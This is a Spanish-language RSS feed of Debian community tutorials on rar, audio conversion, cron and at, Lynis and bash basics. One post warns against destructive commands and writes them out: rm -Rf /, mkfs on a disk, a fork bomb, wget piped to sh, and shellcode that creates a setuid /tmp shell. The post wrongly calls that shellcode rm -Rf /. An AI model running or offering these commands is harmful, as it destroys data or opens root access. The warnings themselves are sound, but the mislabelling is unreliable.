<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>debian-ar.org &#187; Bash</title>
	<atom:link href="http://debian-ar.org/category/bash/feed/" rel="self" type="application/rss+xml" />
	<link>http://debian-ar.org</link>
	<description>Comunidad de usuarios de Debian Argentina</description>
	<lastBuildDate>Wed, 28 Jul 2010 09:48:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>comprimir archivos con rar por consola en multiples volumenes</title>
		<link>http://debian-ar.org/2010/01/14/comprimir-archivos-con-rar-por-consola-en-multiples-volumenes/</link>
		<comments>http://debian-ar.org/2010/01/14/comprimir-archivos-con-rar-por-consola-en-multiples-volumenes/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 10:44:40 +0000</pubDate>
		<dc:creator>zenwalker</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[Consola]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Debian-ar.org]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[comandos]]></category>
		<category><![CDATA[comprimir archivos rar consola multiples volumenes]]></category>

		<guid isPermaLink="false">http://debian-ar.org/2010/01/14/comprimir-archivos-con-rar-por-consola-en-multiples-volumenes/</guid>
		<description><![CDATA[como siempre pa instalarlo: apt-get install rar la sintaxis rar a -v(tamaño)m nombre archivo o bien: rar a -v(tamaño)g nombre archivo poniendo m o g, dependiendo si se quieren obtener megas o gigas si se quiere comprimir con contraseña, añadiremos -p(contraseña) de forma que quedaria mas o menos asi: rar a -v1g -pmipass nombrepartes archivoacomprimir [...]]]></description>
			<content:encoded><![CDATA[<p>como siempre pa instalarlo: apt-get install rar</p>
<p>la sintaxis</p>
<p>rar a -v(tamaño)m nombre archivo</p>
<p>o bien:</p>
<p>rar a -v(tamaño)g nombre archivo</p>
<p>poniendo m o g, dependiendo si se quieren obtener megas o gigas</p>
<p>si se quiere comprimir con contraseña, añadiremos -p(contraseña) de forma que quedaria mas o menos asi:</p>
<p>rar a -v1g -pmipass nombrepartes archivoacomprimir</p>
<p>en este ejemplo se comprimirá el archivo &#8220;archivoacomprimir&#8221; en varios volumenes de 1 g cada uno, con el password mipass, y cada parte se llamara &#8220;nombrepartes.part1.rar&#8221;, &#8220;nombrepartes.part2.rar&#8221;, &#8230;</p>
<p>espero sea de utilidad</p>
<p>saludos</p>
]]></content:encoded>
			<wfw:commentRss>http://debian-ar.org/2010/01/14/comprimir-archivos-con-rar-por-consola-en-multiples-volumenes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Convertir audio en GNU/Linux</title>
		<link>http://debian-ar.org/2009/03/30/convertir-audio-en-gnulinux/</link>
		<comments>http://debian-ar.org/2009/03/30/convertir-audio-en-gnulinux/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 18:00:56 +0000</pubDate>
		<dc:creator>ramiro_md</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[Consola]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Tutoriales]]></category>
		<category><![CDATA[conversor de audio]]></category>
		<category><![CDATA[convertir audio]]></category>
		<category><![CDATA[convertir mp3]]></category>

		<guid isPermaLink="false">http://debian-ar.org/?p=393</guid>
		<description><![CDATA[En este post les propongo una manera muy geek de convertir de un formato de audio a otro. Lo publiqué en mi blog y me pareció buena idea compartirlo con la comunidad debianera de Argentina. Si bien existen programas gtk que realizan la misma acción, todos esos son GUI&#8217;s de programas que se ejecutan en [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">En este post les propongo una manera muy geek de convertir de un formato de audio a otro. Lo publiqué en mi blog y me pareció buena idea compartirlo con la comunidad debianera de Argentina.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">Si bien existen programas gtk que realizan la misma acción, todos esos son GUI&#8217;s de programas que se ejecutan en una terminal (ffmpeg, timidity, lame), por eso, como el teclado no muerde, les presento la forma de convertir formatos de audio mediante consola.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">Antes de continuar deberíamos instalar los siguientes programas:<br />
<code># aptitude install ffmpeg timidity lame</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">Antes de comenzar a realizar las conversiones voy a hacer algúnas aclaraciones &#8220;técnicas&#8221; con los parámetros de ffmpeg, lame y timidity. Si bien no son necesarios, ya que si no se aplican el archivo de salida va atener los mismos atributos que el de entrada, son útiles para enriquecer/empobrecer la calidad de la pista de audio, como así también para cambiar de mono a estereo o vicebersa.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">El parámetro -ar (en ffmpeg) y -s (en timidity) corresponde a la frecuencia de muestreo y el valor mínimo es de 8000 hz, una calidad algo baja para archivos de audio.A continuación expreso algúnos valores (obtenidos de la WIkipedia) para que se guíen:</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">8000 hz: adecuado para la voz humana pero no para la reproducción musical.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">22050 hz: adecuado para cd, vcd, svcd y archivos de audio.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">48000 hz: adecuado para audio profesional (DVD y televisión digital).</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">96000 ó 192400 hz: adecuado para DVD y Blue-Ray.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">El parámetro -ab (en ffmpeg) y -b (en lame) corresponde a la tasa de bits (bitrate) y los valores adeccuados para audio son los siguientes:</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">128 kbit/s: calidad satisfactoria para audio.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">192 kbit/s: calidad buena para audio, muy utilizado en cd.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">320 kbit/s: calidad máxima para audio.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">El parámetro -ac (en ffmpeg) corresponde a la cantidad de canales de la pista de audio. Para mono el valor es 1, para estereo 2.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">Con esto aclarado podemos comenzar a especificar como convertir formatos.</p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">MP3 a MP3 </span></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">Esto sirve para bajar la calidad a la pista de audio.<br />
<code>$ lame -b 64 archivo_origen.mp3 archivo_modificado.mp3</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">MP3 a AMR </span></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">Instala lo siguiente para poder llevar a cabo la conversión:<br />
<code># aptitude install amr amr_wb</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;">Ahora si, para convertir:<br />
<code>$ ffmpeg -i archivo.mp3 -acodec libamr_wb -ar 8000 -ac 1 -ab 12.2k  archivo.amr</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">MP3 a OGG </span><br />
<code>$ ffmpeg -i archivo.mp3 archivo.ogg</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">MP3 a WAV </span><br />
<code>$ ffmpeg -i archivo.mp3 archivo.wav</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">MP3 a WMA </span><br />
<code>$ ffmpeg -i archivo.mp3 archivo.wma</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">WMA a MP3 </span><br />
<code>$ ffmpeg -i archivo.wma archivo.mp3</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">WAV a MP3 </span><br />
<code>$ ffmpeg -i archivo.wav archivo.mp3</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">AMR a MP3</span><br />
<code>$ ffmpeg -i archivo.amr -acodec libamr_wb -ar 8000 -ac 1 -ab 12.2k  archivo.mp3</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">MIDI a WAV</span><br />
<code>$ timidity -Ow -s 44100 -o archivo.wav archivo.mid</code></p>
<p style="text-align: justify; margin-bottom: 6pt; margin-top: 6pt; text-indent: 50px;"><span style="font-weight: bold;">MIDI a OGG</span><br />
<code>$ timidity -Ow -s 44100 -o archivo.ogg archivo.mid<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://debian-ar.org/2009/03/30/convertir-audio-en-gnulinux/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>7 comandos mortales en Linux</title>
		<link>http://debian-ar.org/2009/03/16/7-comandos-mortales-en-linux/</link>
		<comments>http://debian-ar.org/2009/03/16/7-comandos-mortales-en-linux/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 08:22:35 +0000</pubDate>
		<dc:creator>dag</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[Curiosidades]]></category>
		<category><![CDATA[Terminales]]></category>
		<category><![CDATA[comandos]]></category>
		<category><![CDATA[7 comandos motales]]></category>
		<category><![CDATA[comandos maliciosos]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://debian-ar.org/?p=295</guid>
		<description><![CDATA[Esta es una traducción de el interesante artículo “The 7 Deadly Linux Commands” publicado originalmente por Tech Source from Bohol: Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-296" title="img30" src="http://debian-ar.org/wp-content/uploads/2009/03/img30.png" alt="img30" width="200" height="200" /></p>
<p style="text-align: justify;">Esta es una traducción de el interesante artículo <em>“The 7 Deadly Linux Commands”</em> publicado originalmente por <a href="http://www.junauza.com/2008/11/7-deadly-linux-commands.html/">Tech Source from Bohol</a>:</p>
<p style="text-align: justify;">Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberian ser evitados:</p>
<p style="text-align: justify;">1. Comando:</p>
<p style="text-align: justify;"><span style="font-weight: bold; font-family: courier new;"># rm -Rf / </span></p>
<p style="text-align: justify;">Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.</p>
<p style="text-align: justify;">2. Comando:</p>
<p style="text-align: justify;"><span style="font-weight: bold; font-family: courier new;">char esp[] __attribute__ ((section(”.text”))) /* e.s.p<br />
release */<br />
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?<br />
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?<br />
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?<br />
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?<br />
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?<br />
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?<br />
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?<br />
“cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;”;</span></p>
<p style="text-align: justify;">Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.</p>
<p style="text-align: justify;">3. Comando:</p>
<p style="text-align: justify;"><span style="font-weight: bold; font-family: courier new;"># mkfs.ext3 /dev/sda </span></p>
<p style="text-align: justify;">Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.</p>
<p style="text-align: justify;">4. Comando:</p>
<p style="text-align: justify;"><span style="font-weight: bold; font-family: courier new;">:(){:|:&amp;};: </span></p>
<p style="text-align: justify;">La ya conocida por muchos <a href="http://www.iguanalinux.com/miscelaneas/las-bombas-fork/">bomba fork</a>. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.</p>
<p style="text-align: justify;">5. Comando:</p>
<p style="text-align: justify;"><span style="font-weight: bold; font-family: courier new;">cualquier_comando &gt; /dev/sda </span></p>
<p style="text-align: justify;">Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.</p>
<p style="text-align: justify;">6. Comando:</p>
<p style="text-align: justify;"><span style="font-weight: bold; font-family: courier new;">wget http://fuente_de_origen_inseguro -O- | sh </span></p>
<p style="text-align: justify;">Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.</p>
<p style="text-align: justify;">7. Comando:</p>
<p style="text-align: justify;"><span style="font-weight: bold; font-family: courier new;">mv /home/tudirectoriodeusuario/* /dev/null </span></p>
<p style="text-align: justify;">Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que <em>no existe</em>, razón por la cual, nunca podras ver tus archivos de nuevo.</p>
<p style="text-align: justify;">Hay una gran cantidad de comandos igualmente mortales, los cuales pudieron omitirse en esta lista, por eso si tienes alguno para agregar, por favor compartelo con nosotros a traves de un comentario.</p>
<p style="text-align: justify;"><a href="http://freelinux.com.ar/2008/11/23/7-comandos-mortales-en-linux/#more-526" target="_blank">Fuente</a></p>
]]></content:encoded>
			<wfw:commentRss>http://debian-ar.org/2009/03/16/7-comandos-mortales-en-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Programación de Tareas</title>
		<link>http://debian-ar.org/2008/10/18/programacion-de-tareas/</link>
		<comments>http://debian-ar.org/2008/10/18/programacion-de-tareas/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 18:37:00 +0000</pubDate>
		<dc:creator>dag</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[at]]></category>
		<category><![CDATA[autimatizacion]]></category>
		<category><![CDATA[bach]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[Programador de tareas]]></category>
		<category><![CDATA[tareas]]></category>
		<category><![CDATA[task]]></category>

		<guid isPermaLink="false">http://debian-ar.org/?p=246</guid>
		<description><![CDATA[A veces puede resultar útil poder programar el sistema para que realice tareas a una hora determinada. En esta receta veremos dos maneras de hacerlo. at La utilidad at nos permite ejecutar tareas a una determinada hora. Si no la tenéis en el sistema, basta con instalar el paquete at de la manera estándar. Por [...]]]></description>
			<content:encoded><![CDATA[<p>A veces puede resultar útil poder programar el sistema para que realice tareas a una hora determinada. En esta receta veremos dos maneras de hacerlo.</p>
<h2>at</h2>
<p>La utilidad <tt>at</tt> nos permite ejecutar tareas a una determinada hora. Si no la tenéis en el sistema, basta con instalar el paquete <tt>at</tt> de la manera estándar.</p>
<p>Por ejemplo, vamos a programar que aparezca el eye-of-gnome a las 12:05. Para ello, ejecutamos en un terminal el comando <tt>at</tt>, indicando a continuación la hora a la que debe comenzar la tarea. Como veréis, aparece un prompt en el que indicaremos las tareas que queremos que se ejecuten, una por línea. Para salir del prompt, hay que pulsar Ctrl+D. Aparecerá un mensaje confirmando la hora y el número de la tarea (job).</p>
<p><kbd><br />
$ at 12:05<br />
warning: commands will be executed using /bin/sh<br />
at&gt; eog<br />
at&gt;<br />
job 2 at Fri Oct 17 12:05:00 2008<br />
</kbd></p>
<p>A menudo, lo que queremos es ejecutar varias tareas, pero en un orden secuencial, no todas a la vez (vamos, lo que viene siendo un script). Suponiendo que queramos ejecutar <tt>mistareas.sh</tt>, haremos lo siguiente:</p>
<p><kbd><br />
$ at -f miscript.sh 13:45<br />
warning: commands will be executed using /bin/sh<br />
job 4 at Fri Oct 17 13:45:00 2008<br />
</kbd></p>
<p>También se podría poner miscript.sh como una tarea en el modo interactivo del prompt, siempre y cuando tenga los permisos adecuados de ejecución.</p>
<p>Cabe destacar que con <tt>at</tt>, las tareas quedan programadas para una sola vez, y se borran después de ejecutarse. Es decir, al día siguiente no volverán a ejecutarse.</p>
<p>Si queremos borrar una tarea que tenemos programada, debemos conocer primero su número (el que sale al programarla). Para borrarla, utilizamos <tt>atrm</tt>. Si no conocemos el número de la tarea o lo hemos olvidado, podemos consultar las tareas programadas con la opción <tt>-l</tt>:</p>
<p><kbd><br />
$ at -l<br />
4	Fri Oct 17 13:45:00 2008 a nacho<br />
$ atrm 4<br />
$ at -l<br />
$<br />
</kbd></p>
<h2>cron</h2>
<p>Cron es una herramienta que permite la ejecución de tareas periódicamente en varios intervalos: horario, diario, semanal y mensual. Su utilización es más sencilla que la de <tt>at</tt>: Basta con guardar el script que queramos ejecutar (éste no tiene modo interactivo) en el directorio correspondiente a cuándo queremos que se ejecute.:</p>
<ul>
<li>Cada hora: /etc/cron.hourly/</li>
<li>Cada día: /etc/cron.daily/</li>
<li>Cada semana: /etc/cron.weekly/</li>
<li>Cada mes: /etc/cron.monthly/</li>
</ul>
<p>Esta simplificación de uso es específica de Debian (y derivados quizá). Aunque la funcionalidad es posible conseguirla en otras distribuciones, no es tan sencillo (y puede que los directorios mencionados no existan).</p>
<p>Para saber exactamente cuándo se van a ejecutar las tareas, echamos un vistazo al fichero <tt>/etc/crontab</tt>. Éste es el mío:</p>
<pre># m h dom mon dow user  command
 17 *  *   *   *  root    cd / &amp;&amp; run-parts --report /etc/cron.hourly
 25 6  *   *   *  root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )
 47 6  *   *   7  root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )
 52 6  1   *   *  root    test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )</pre>
<p>Las columnas indican lo siguiente:</p>
<ul>
<li>m = minute (minuto)</li>
<li>h = hour (hora)</li>
<li>dom = day of month (día del mes)</li>
<li>mon = month (mes)</li>
<li>dow = day of week (día de la semana)</li>
</ul>
<p>Por lo tanto, mi crontab indica que:<br />
- Las tareas &#8220;horarias&#8221; se ejecutarán en el minuto 17 de cada hora.<br />
- Las tareas diarias se ejecutarán a las 6:25<br />
- Las tareas semanales se ejecutarán el séptimo día de la semana, a las 6:47 (0 y 7 indican Domingo, 1 es Lunes, etc&#8230;)<br />
- Las tareas mensuales se ejecutarán el día 1 de cada mes, a las 6:52</p>
<p><a href="http://crysol.org/node/1026" target="_blank">Fuente</a></p>
]]></content:encoded>
			<wfw:commentRss>http://debian-ar.org/2008/10/18/programacion-de-tareas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Auditar Linux con Lynis</title>
		<link>http://debian-ar.org/2008/08/12/auditar-linux-con-lynis/</link>
		<comments>http://debian-ar.org/2008/08/12/auditar-linux-con-lynis/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 11:16:48 +0000</pubDate>
		<dc:creator>dag</dc:creator>
				<category><![CDATA[Aplicaciones]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[Curiosidades]]></category>
		<category><![CDATA[Redes]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Servidores]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[auditar linux]]></category>
		<category><![CDATA[linux serguro]]></category>
		<category><![CDATA[ver seguridad linux]]></category>

		<guid isPermaLink="false">http://debian-ar.org/2008/08/12/auditar-linux-con-lynis/</guid>
		<description><![CDATA[Lynis tiene como objetivo darnos un informe de auditoria sobre nuestro servidor, en forma sensilla y con una vista muy amigable. 1. Descomprimimos la utlidad: # wget http://www.rootkit.nl/files/lynis-1.1.7.tar.gz # tar zxfv lynis-1.1.7.tar.gz 2. Ejecutamos la aplicacion: # cd lynis-1.1.7 # ./lynis –check-all Con esto comenzamos la auditora de nuestro sistema, acontinuacion vamos a dar algunos [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.rootkit.nl/projects/lynis.html">Lynis</a> tiene como objetivo darnos un informe de auditoria sobre nuestro servidor, en forma sensilla y con una vista muy amigable.</p>
<p>1. Descomprimimos la utlidad:</p>
<p># wget http://www.rootkit.nl/files/lynis-1.1.7.tar.gz<br />
# tar zxfv  lynis-1.1.7.tar.gz</p>
<p>2. Ejecutamos la aplicacion:</p>
<p># cd lynis-1.1.7</p>
<p># ./lynis –check-all</p>
<p>Con esto comenzamos la auditora de nuestro sistema, acontinuacion vamos a dar algunos titulos de los analisis:</p>
<p>[+] Boot and services<br />
[+] Kernel<br />
[+] Memory and processes<br />
[+] Users, Groups and Authentication<br />
[+] Shells<br />
[+] File systems<br />
[+] Ports and packages<br />
[+] Networking<br />
[+] Printers and Spools<br />
[+] Software: e-mail<br />
[+] Software: firewalls<br />
[+] Software: webserver<br />
[+] Databases<br />
[+] LDAP Services<br />
[+] Software: PHP<br />
[+] Software: Malware scanners<br />
[+] System Tools<br />
[+] Home directories<br />
[+] Logging and files<br />
[+] Banners and identification<br />
[+] Scheduled tasks<br />
[+] Accounting<br />
[+] Time and Synchronization<br />
[+] Cryptography<br />
[+] Virtualization<br />
Veamos una captura de pantalla de la utilidad:</p>
<p><a href="http://debian-ar.org/wp-content/uploads/2008/08/lynis-screenshot.png"><img class="aligncenter size-medium wp-image-131" title="lynis-screenshot" src="http://debian-ar.org/wp-content/uploads/2008/08/lynis-screenshot-300x225.png" alt="" width="300" height="225" /></a></p>
<p>Aqui vemos el reporte que nos entrego al analizar uno de los equipos del staff:</p>
<p><a href="http://debian-ar.org/wp-content/uploads/2008/08/k2k.png"><img class="aligncenter size-medium wp-image-132" title="k2k" src="http://debian-ar.org/wp-content/uploads/2008/08/k2k-300x95.png" alt="" width="300" height="95" /></a></p>
<p><a href="http://www.wikipeando.com/index.php/archives/404" target="_blank">Fuente</a></p>
]]></content:encoded>
			<wfw:commentRss>http://debian-ar.org/2008/08/12/auditar-linux-con-lynis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Programacion en bash</title>
		<link>http://debian-ar.org/2008/08/01/programacion-en-bash/</link>
		<comments>http://debian-ar.org/2008/08/01/programacion-en-bash/#comments</comments>
		<pubDate>Fri, 01 Aug 2008 05:44:43 +0000</pubDate>
		<dc:creator>dag</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[Tutoriales]]></category>
		<category><![CDATA[bach scripting]]></category>
		<category><![CDATA[Programacion en bash]]></category>
		<category><![CDATA[scripts]]></category>

		<guid isPermaLink="false">http://debian-ar.org/?p=83</guid>
		<description><![CDATA[Programación en Bash Que es Bash ?? Bourne-Again SHell (otro shell bourne) Haciendo un juego de palabras (born-again significa renacimiento) sobre el Bourne shell (sh), que fue uno de los primeros intérpretes importantes de Unix. Hacia 1978 el shell Bourne era el shell distribuido con el Unix Version 7. Stephen Bourne, por entonces investigador de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong>Programación en Bash</strong></p>
<p style="text-align: left;"><span style="text-decoration: underline;">Que es Bash ??</span><br />
Bourne-Again SHell (otro shell bourne) Haciendo un juego de palabras (born-again significa renacimiento) sobre el Bourne shell (sh), que fue uno de los primeros intérpretes importantes de Unix. Hacia 1978 el shell Bourne era el shell distribuido con el Unix Version 7.</p>
<p style="text-align: left;">Stephen Bourne, por entonces investigador de los Laboratorios Bell, escribió el shell Bourne original . Brian Fox escribió el shell bash en 1987. En 1990, Chet Ramey se convirtió en su principal desarrollador. BASH es el shell por defecto en la mayoría de sistemas GNU/Linux, además de Mac OS X Tiger, y puede ejecutarse en la mayoría de los sistemas operativos tipo UNIX. También se ha portado a Microsoft Windows por el proyecto Cygwin. Es un Interprete de comandos. no necesita compilar <img class="wp-smiley" src="http://thebucio.org/wp-content/plugins/smilies-themer/adiumicons/biggrin.png" alt=":D" /></p>
<p style="text-align: left;">Stephen Bourne, por entonces investigador de los Laboratorios Bell, escribió el shell Bourne original . Brian Fox escribió el shell bash en 1987. En 1990, Chet Ramey se convirtió en su principal desarrollador. BASH es el shell por defecto en la mayoría de sistemas GNU/Linux, además de Mac OS X Tiger, y puede ejecutarse en la mayoría de los sistemas operativos tipo UNIX. También se ha aportado a Microsoft Windows por el proyecto Cygwin.</p>
<p><span style="text-decoration: underline;">Como encontrarlo ??</span></p>
<p style="text-align: left;">Aplicaciones  -&gt; accesorios -&gt; Terminal<br />
Tecleamos:</p>
<blockquote>
<p style="text-align: left;"><em>im@Bucio-Ju4×0r:~$</em> locate bash</p>
</blockquote>
<p style="text-align: left;">Para ser mas exactos:</p>
<blockquote>
<p style="text-align: left;">
<p style="text-align: left;"><em>im@Bucio-Ju4×0r:~$</em> which bash<br />
/bin/bash</p></blockquote>
<p><span style="text-decoration: underline;">Que necesito saber antes de crear mi primer script?</span></p>
<ol>
<li>Editor de texto, gedit, vim etc..</li>
<li>Comandos Básicos Unix.</li>
<li>Ganas de aprender :D.</li>
</ol>
<p><span id="more-83"></span></p>
<p><span style="text-decoration: underline;">Comandos Basicos</span></p>
<blockquote><p><strong>* Cambiar el directorio de trabajo (change directory): </strong><br />
$ cd<br />
<strong> * Listar el contenido de directorios (list): </strong><br />
$ ls<br />
<strong> * Crear un directorio (make directory): </strong><br />
$ mkdir<br />
<strong> * Borrar un directorio (remove directory): </strong><br />
$ rmdir<br />
<strong> * Copiar un archivo o directorio en el directorio especificado (copy): </strong><br />
$ cp<br />
<strong> * Mover un archivo o directorio a un archivo o directorio. Se utiliza también para renombrar; el origen y destino es un archivo (move):</strong><br />
$ mv<br />
<strong> * Borrar archivos o directorios (remove): </strong><br />
$ rm &lt;opciones&gt; &lt;archivo&gt;<br />
<strong> * Mostrar por pantalla el contenido de los archivos por la salida estándar. Si no se especifica ningún archivo, la orden repite todo lo que se ha escrito por la entrada estándar. Para indicar que se ha acabado de escribir hay que pulsar CTRL+D. </strong><br />
$ cat<br />
<strong> * Buscar archivos recorriendo árboles de directorios especificados por las rutas, evaluando de izquierda a derecha las condiciones de búsqueda. Además se pueden especificar acciones sobre los resultados obtenidos:</strong><br />
$ find<br />
<strong>* Mostrar el nombre del directorio en el que uno se encuentra situado (print working directory). Se dice que ese directorio es el directorio de trabajo: </strong><br />
$ pwd<br />
<strong> * Cambiar los permisos de el archivo.</strong><br />
$chmod &lt;PERMISOS&gt; &lt;ARCHIVO&gt;<br />
<strong> *Sacar por la salida standard (la pantalla) lo que se le pasa por parámetro, puede ser texto o una variable </strong><br />
$echo Hola                                    echo hola &gt; hola.txt</p></blockquote>
<p><span style="text-decoration: underline;">Estructura.</span></p>
<blockquote><p><span style="color: #888888;">#!/bin/bash                          #! Se conoce con el nombre de Sha Bang.<br />
/bin/bash Lo que vamos a usar ya sea bash o  perl (/usr/bin/perl)<br />
#<br />
# Esto es un comentario<br />
#</span><br />
<span style="color: #000080;">comando<br />
comando<br />
comando<br />
…..</span></p></blockquote>
<p><span style="text-decoration: underline;">HOLA MUNDOOO</span></p>
<blockquote><p><span style="color: #808080;">#!/bin/sh</span><br />
<span style="color: #000080;">echo </span>”Hola Mundo, cruel :’(”</p></blockquote>
<p><span style="text-decoration: underline;">EJECUTANDO EL SCRIPT.</span></p>
<blockquote><p><em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$</em> chmod -x hola.sh<br />
<em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$</em> ./hola.sh<br />
Hola Mundo, cruel <img class="wp-smiley" src="http://thebucio.org/wp-content/plugins/smilies-themer/adiumicons/crying.png" alt=":'(" /><br />
<em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$</em></p></blockquote>
<p><span style="text-decoration: underline;">REDIRECIONES.</span><br />
Existen 3 descriptores de ficheros:<br />
stdin, stdout y stderr   (std=estándar).</p>
<p>En los ejemplos :<br />
El número 1 representa a stdout, y 2 a stderr.</p>
<p><span style="text-decoration: underline;">REDIRRECIONES</span></p>
<p>Esto hará que la salida de un programa se escriba en un fichero.<br />
stdout a un fichero</p>
<blockquote><p><em>im@Bucio-Ju4×0r:~/Conferencias/Flisol 2008/bash$</em> ls -l &gt; ejemplols-l.txt</p></blockquote>
<p>Esto hará que la salida stderr de un programa se escriba en un fichero.<br />
stderr a un fichero</p>
